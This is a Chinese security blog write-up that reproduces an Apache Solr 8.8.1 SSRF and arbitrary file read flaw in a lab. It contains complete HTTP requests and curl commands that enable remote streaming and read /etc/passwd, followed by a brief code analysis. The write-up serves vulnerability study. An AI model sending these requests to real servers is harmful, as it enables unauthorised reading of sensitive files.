Apache Solr任意文件读取
2021-03-24 15:03:40 Author: www.secpulse.com(查看原文) 阅读量:156 收藏

## 漏洞简介

这几天 Skay 师傅 发布了一篇文章 [Apache Solr 组件安全概览](https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ) 对 Apache Solr 的历史漏洞做了个详细的分析,同时也公布了一个未被官方所承认的漏洞,网络上也有很多文章进行复现,但是对之分析的文章并不是很多,于是想结合本地进行调试尝试。  

<!-- more -->

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发。Apache Solr 的某些功能存在过滤不严格,在 Apache Solr 未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成 SSRF 和任意文件读取漏洞。   

## 漏洞复现

环境搭建,下载符合存在的漏洞的 Apache 漏洞版本:[Apache Solr 8.8.1](http://archive.apache.org/dist/lucene/solr/8.8.1/),同时下载源码文件和二进制文件,方便进行调试。之前曾对 [CVE-2020-13957 Apche Solr 未授权上传漏洞](https://whippet0.github.io/2020/10/26/CVE-2020-13957%20Apche%20Solr%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/) 进行过简单的分析,但是时间过去了好久,一些相关的操作都忘记了,之前也是完全利用在 windows 系统上进行调试,这一次尝试利用 linux 进行调试分析。  

tar -zxvf  solr-8.8.1.tgz #解压文件     
cd  /solr-8.8.1/bin/   
./solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=18522" -p 8983 # 以Debug 模式启动   
./solr create -c test_solr  #创建一个数据驱动模式的核心

访问网站   

20210323142110.png

我们需要首先获取 core 名称  

20210323142358.png

漏洞的利用总共需要两步,首先利用 Config API 打开默认关闭的 requestDispatcher.requestParsers.enableRemoteStreaming 开关,之后再进行文件读取的操作。

POST  /solr/test_solr_shard1_replica_n1/config/ HTTP/1.1
Host: 192.168.176.171:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 80
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

20210323143005.png

SSRF 和任意文件读取漏洞在同一个 HTTP 请求中触发,分别对应着不同的参数  

`stream.file参数触发任意文件读取漏洞`

POST /solr/test_solr_shard1_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.176.171:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
Content-Length: 24
stream.file=//etc/passwd

20210323144819.png

`stream.url触发SSRF漏洞,Java中可利用file协议利用SSRF,可用来实现任意文件读取`

POST /solr/test_solr_shard1_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.176.171:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
Content-Length: 29
stream.url=file:///etc/passwd

20210323144928.png

Tips:在构造 POC 时,中间一度无法成功,直接复制别人的 POC 发送时是可以的,但是自己构造的数据包时却无法成功,经过逐行比较,发现我在构造数据包时没有添加这一句 `Content-Type: application/x-www-form-urlencoded`  

对于 "application/x-www-form-urlencoded" 其参数组织形式是键值对,name=zhangsan&age=18   

对于 "application/json" 其参数组织形式为,{name:"zhangsan",age:"18"}  

通过 GET 请求去读取文件时,就没有这方面的问题,application/x-www-form-urlencoded 是浏览器通过页面表单方式提交时的编码格式,所以同通过 POST 去请求时,需要声明,负责服务器端无法接收提交的数据。

通过 CURL 方式来利用漏洞

+ curl http://192.168.176.171:8983/solr/admin/cores?wt=json  

+ curl -d '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.176.171:8983/solr/test_solr_shard1_replica_n1/config -H 'Content-type:application/json'   

+ curl "http://192.168.176.171:8983/solr/test_solr_shard1_replica_n1/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"   

## 漏洞分析

20210323153301.png

挖掘漏洞的话,应该要把这个产品的[文档](https://solr.apache.org/guide/8_0/content-streams.html)  先通读一遍,可以找出其中敏感的参数以及配置方法。

20210323153720.png

英语水平不是太强,只能看懂大概:通过 `enableRemoteStreaming="true"` 开启远程流,如果远程流被启用并请求处理过程中的URL的内容要求,每个内容stream.url和stream.file参数,并将其作为流通过。

进行一下调试,对相关代码进行分析,启动 idea ,并配置远程调试

20210323154806.png

`org.apache.solr.servlet.SolrRequestParsers#buildRequestFrom(SolrCore, SolrParams, Collection<ContentStream>, RTimerTree, HttpServletRequest)`

20210323155828.png  

20210323160042.png

## 参考文章

[Solr参考指南8.0](https://solr.apache.org/guide/8_0/content-streams.html)  

[Apache Solr任意文件读取和SSRF漏洞的自动化挖掘](https://mp.weixin.qq.com/s/e-mJGxGSmnaN-NZQqyeI9Q)   

[Apache Solr 组件安全概览](https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ)

本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/155512.html


文章来源: https://www.secpulse.com/archives/155512.html
如有侵权请联系:admin#unsafe.sh